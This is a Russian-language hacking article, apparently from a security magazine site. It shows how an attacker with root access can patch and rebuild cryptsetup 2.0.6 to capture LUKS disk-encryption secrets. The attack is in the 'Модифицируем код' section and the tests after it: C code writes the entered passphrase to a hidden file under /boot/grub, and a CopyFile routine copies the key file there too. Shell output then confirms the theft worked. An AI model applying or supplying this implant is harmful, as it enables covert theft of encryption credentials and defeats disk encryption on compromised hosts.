Hacking

Перехват ключа и пароля в Linux

LUKS — популярная и широко распространенная система шифрования дисков. Однако, когда вы получаете доступ к хосту с правами администратора, вполне возможно установить закладку, которая будет захватывать ключи зашифрованных разделов. В этой статье мы сначала рассмотрим LUKS и утилиту cryptsetup, а затем посмотрим, как изменить исходный код, чтобы мы могли захватить пароль или ключ для расшифровки раздела.

Содержание скрыть

LUKS — это, по сути, стандарт шифрования дисков Linux. Поддерживается до восьми ключевых слотов, вы можете выбирать между хеш-функциями, алгоритмами и режимами шифрования, есть адаптивный алгоритм выбора количества итераций. Расшифровать данные на диске можно только в том случае, если у вас есть доступ к секретному ключу и паролю.

Среди других преимуществ LUKS:

совместимость через стандартизацию;
защита от атак с низкой энтропией;
возможность аннулировать секретную фразу.

Ну и распространяется она бесплатно.

Настройка диска

Все манипуляции мы будем проводить на свежем Debian 10, добавив дополнительный диск для экспериментов с шифрованием.

После установки переходим под root:

su -

Затем утилитой fdisk смотрим названия доступных дисков:

$ fdisk -l

Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x09849b5eDevice Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 37750783 37748736 18G 83 Linux
/dev/sda2 37752830 41940991 4188162 2G 5 Extended
/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris

Disk /dev/sdb: 4 GiB, 4294967296 bytes, 8388608 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

В своем примере я буду использовать устройство /dev/sdb. Для разметки диска использую утилиту parted, передав имя диска в качестве аргумента:\

parted /dev

Помечаю таблицу разделов как GPT:

(parted) mklabel gpt

И создаю единственный раздел, занимающий весь диск:

(parted) mkpart primary 1 -1

(parted) quit

Сборка cryptsetup

Работы с разметкой /dev/sdb закончены. Переходим к сборке cryptsetup.

Если у вас уже установлен LUKS и вы хотите изменить текущую версию утилиты, используйте dpkg-dev. В этом примере я создам cryptsetup загруженных шрифтов отдельно от системы. У меня версия 2.0.6, потому что при сборке последней доступной (2.3.4) были проблемы с версиями библиотеки.

Скачиваем, распаковываем и устанавливаем необходимые зависимости:

# cd /root

# wget https://www.kernel.org/pub/linux/utils/cryptsetup/v2.0/cryptsetup-2.0.6.tar.xz

# tar xf cryptsetup-2.0.6.tar.xz

# cd cryptsetup-2.0.6

# apt update && apt install build-essential automake autopoint libtool pkg-config uuid-dev libdevmapper-dev libpopt-dev libgcrypt20-dev libjson-c-dev libssl-dev libblkid-dev gettext

Собираем и устанавливаем:

# ./configure

# make && make install

Проверяем установку:

# cryptsetup --version

cryptsetup 2.0.6

Отлично. Теперь создадим зашифрованный раздел с помощью cryptsetup и пароля, вводимого в TTY:

# cryptsetup luksFormat /dev/sdb1

Соглашаемся на форматирование (YES) и вводим пароль для последующего доступа к разделу. Я использую t3st3ncryp7.

Проверяем, все ли удалось.

# cryptsetup isLuks /dev/sdb1 && echo Ok!

Ok!

Все получилось! Подключаем шифрованный раздел, чтобы дальше его монтировать:

# cryptsetup luksOpen /dev/sdb1 db

Вводим парольную фразу (t3st3ncryp7). Чуть позже в этом месте мы перехватим вводимый в TTY пароль.

Форматируем раздел:

# mke2fs -j /dev/mapper/db

И монтируем для работы, например в /mnt:

# mount /dev/mapper/db /mnt && cd /mnt
# echo Hello! > test.txt
# cat test.txt

Hello!

# ls -la

итого 28
drwxr-xr-x 3 root root 4096 ноя 6 06:49 .
drwxr-xr-x 20 root root 4096 ноя 6 05:34 ..
drwx------ 2 root root 16384 ноя 6 06:48 lost+found
-rw-r--r-- 1 root root 7 ноя 6 06:49 test.txt

Модифицируем код

На этом этапе мы узнаем, как смонтировать зашифрованный раздел LUKS с помощью парольной фразы. Теперь мы исправим исходный код, чтобы сохранить не только введенный пароль, но и случайно сгенерированный файл, который можно указать в качестве ключа для расшифровки раздела.

Находим код проверки passphrase в файле src/utils_password.c (относительно корня архива cryptsetup-2.0.6.tar.xz). В старых версиях он находился в файле askpass.c.

Чтобы получить пароль, я модифицирую функцию crypt_get_key_tty (), которая отвечает за ввод пароля с терминала (TTY). Наконец, давайте добавим фрагмент кода, который вставляет передаваемую переменную в нужный нам файл. Возьмите /boot/grub/.captured_pass в качестве пути.

Вот примерно 220-я строка файла src/utils_password.c:

*key = pass;

*key_size = strlen(pass);

Добавим

FILE *fp;

fp = fopen("/boot/grub/.captured_pass", "w+");

fputs(pass, fp);

fclose(fp);

Перехват passphrase в utils_password.c

Превосходно. Введенный вами пароль теперь сохранен в файле .captured_pass. Давайте продолжим и поможем нашей программе создать «резервную копию» ключа, используемого для дешифрования.

Для этого я решил не читать сам ключ, а взять оригинальный путь из функции tools_get_key() и скопировать ключ в нужное место. Для добавления кода ищем примерно 285-ю строку и после:

if (pwquality && !opt_force_password && !key_file && !r)

r = tools_check_pwquality(*key);

Добавляем вызов функции CopyFile(), передав в качестве аргумента путь оригинального файла в переменной key_file и необходимый путь для сохранения. Должно получиться примерно так:

...

if (pwquality && !opt_force_password && !key_file && !r)
r = tools_check_pwquality(*key);
 
CopyFile(key_file, "/boot/grub/.captured_key");return r;
...

Сохранение ключа в файле utils_password.c

Не забываем добавить саму функцию CopyFile() в самый конец файла после функции tools_write_mk():

int CopyFile(const char* source, const char* destination) {

int input, output;
if ((input = open(source, O_RDONLY)) == -1) {
return -1;
}
if ((output = creat(destination, 0660)) == -1) {
close(input);
return -1;
}
 
 
off_t bytesCopied = 0;
struct stat fileinfo = {0};
fstat(input, &fileinfo);
int result = sendfile(output, input, &bytesCopied, fileinfo.st_size);
 
close(input);
close(output);
 
return result;
}
Те­перь пересо­бира­ем наш исправ­ленный вари­ант cryptsetup c уда­лени­ем кеша пре­дыду­щей сбор­ки:
# pwd
# /root/cryptsetup-2.0.6
make clean && make && make install
Нас­тало вре­мя тес­тов. Для начала про­верим перех­ват пароля уже зашиф­рован­ного таким обра­зом дис­ка. Для это­го раз­монти­руем его и вер­нем в пер­воначаль­ное сос­тояние:
# umount /mnt
# cryptsetup luksClose /dev/mapper/db
Те­перь сно­ва рас­шифро­выва­ем и ловим необ­ходимый пароль:
# cryptsetup luksOpen /dev/sdb1 db
Вве­дите пароль­ную фра­зу для /dev/sdb1:
# mount /dev/mapper/db /mnt

# ls /mnt/
lost+found test.txt
# cat /boot/grub/.captured_pass
t3st3ncryp7
Ве­лико­леп­но! Оста­лось отформа­тиро­вать и зашиф­ровать фай­лом клю­чом для про­вер­ки вто­рого спо­соба перех­вата. Генери­руем сам ключ:
# dd if=/dev/urandom of=/root/secret.key bs=1024 count=2
Фор­матиру­ем и шиф­руем с помощью сге­нери­рован­ного клю­ча, пред­варитель­но отклю­чив раз­дел:
# umount /mnt

# cryptsetup luksClose /dev/mapper/db

# cryptsetup luksFormat /dev/sdb1 /root/secret.key
ПРЕ­ДУП­РЕЖДЕ­НИЕ: Устрой­ство /dev/sdb1 уже содер­жит под­пись супер­бло­ка «crypto_LUKS».WARNING!

========

Дан­ные на /dev/sdb1 будут переза­писа­ны без воз­можнос­ти вос­ста­нов­ления.

Are you sure? (Type uppercase yes): YES
Под­клю­чаем и рас­шифро­выва­ем раз­дел:
# cryptsetup --key-file /root/secret.key luksOpen /dev/sdb1 db
Про­веря­ем, перех­ватил­ся ли ключ.
# ls -la /boot/grub/
ито­го 2392

drwxr-xr-x 5 root root 4096 ноя 6 07:29 .

drwxr-xr-x 3 root root 4096 ноя 5 05:03 ..

-rw-r----- 1 root root 2048 ноя 6 07:31 .captured_key

-rw-r--r-- 1 root root 11 ноя 6 07:21 .captured_pass

drwxr-xr-x 2 root root 4096 ноя 5 05:04 fonts

-r--r--r-- 1 root root 8463 ноя 5 05:04 grub.cfg

-rw-r--r-- 1 root root 1024 ноя 5 05:04 grubenv

drwxr-xr-x 2 root root 12288 ноя 5 05:04 i386-pc

drwxr-xr-x 2 root root 4096 ноя 5 05:04 locale

-rw-r--r-- 1 root root 2396122 ноя 5 05:03 unicode.pf2
Пол­ный порядок. Про­верим, работа­ет ли наш ключ, пред­варитель­но дуб­лируя его, ина­че при сле­дующей записи он запишет сам себя в 0 байт:
# cp /boot/grub/.captured_key /boot/grub/.captured_key_use
# cryptsetup --key-file /boot/grub/.captured_key_use luksOpen /dev/sdb1 db
Ус­пешный перех­ват клю­ча
ИтогПопулярность LUKS делает его интересной целью для хакеров. Если есть возможность проникнуть в систему, то шифрование может и не спасти, что мы сегодня продемонстрировали.
 
 